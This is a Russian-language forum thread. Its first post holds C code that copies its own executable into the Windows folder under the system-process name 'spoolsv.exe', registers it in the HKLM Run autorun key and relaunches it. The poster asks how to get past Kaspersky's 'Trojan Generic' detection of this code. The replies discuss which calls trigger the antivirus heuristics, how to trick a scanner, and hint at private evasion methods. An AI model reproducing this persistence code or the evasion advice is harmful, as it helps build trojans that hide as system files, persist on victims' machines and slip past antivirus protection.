Пытаюсь скопировать файлик в папку винды, прописать его в реестр и запустить Code: void OnStart() { //Получаем путь к своей программе wchar_t path[1025]=L""; GetModuleFileNameW(NULL, path, 1024); //Получаем путь для копирования wchar_t copy2path[1025]=L""; GetWindowsDirectoryW(copy2path, 1024); wcscat(copy2path, L"\\spoolsv.exe"); //Сравниваем пути if(wcsicmp(path, copy2path)==0) return; //Либо 1) Еще не скопированы в систему //2) Скопированы, но запущено вторично из др. источника //Если не удалось скопироваться - значит уже скопированы/неудачно скопированы - выходим if(!CopyFileW(path, copy2path, 1)) { MessageBox(0, "Cant copy", "", 0); exit(0); } //Если скопированы удачно - добавляемся в реестр else { HKEY key;//Add In Autorun DWORD action; if(ERROR_SUCCESS==RegCreateKeyEx(HKEY_LOCAL_MACHINE, __T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, &action)) { RegSetValueExW(key, L"spoolsv", 0, REG_SZ, (LPBYTE)copy2path, lstrlenW(copy2path)*2+1); RegCloseKey(key); //Добавлено удачно - запускаем программу, а сами выходим char forexec[1025]=""; wcstombs(forexec, copy2path, 1024); STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si); if(!CreateProcess(forexec, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) WinExec(forexec, 0); exit(0); } exit(0); } } Но касперский пишет: "поведение, похожее на Trojan Generic" Файл скопирован и добавлен в реестр(непонятно почему), но повторно не запускается(до CreateProcess выполнение не доходит) Методом исключения было установлено, что антивирус реагирует на строчку CopyFileW В принципе пишу программу-шутку и универсальность не нужна. Скопировать файл через коммандную строку чтоли?
Тут побольшей части ругается не на копирование, а на прописание в реестре в секции автозагрузки. И от этого тяжко уйти, если не знаешь приват методов )
вот хитронод ругается на копирование в виндопапку. Притом он реально различает кодесы, отличающиеся в Code: ExpandEnvironmentStrings("%windir%",b, 255); // длины хватает, опасный код детектед!! и Code: ExpandEnvironmentStrings("%windir%",b, 1); // длины не хватает, код безопасен , и смешно подвисает на бесконечных циклах Приват-не приват - достаточно очевидные способы есть, но вот почему-то рассказывать их не хочется.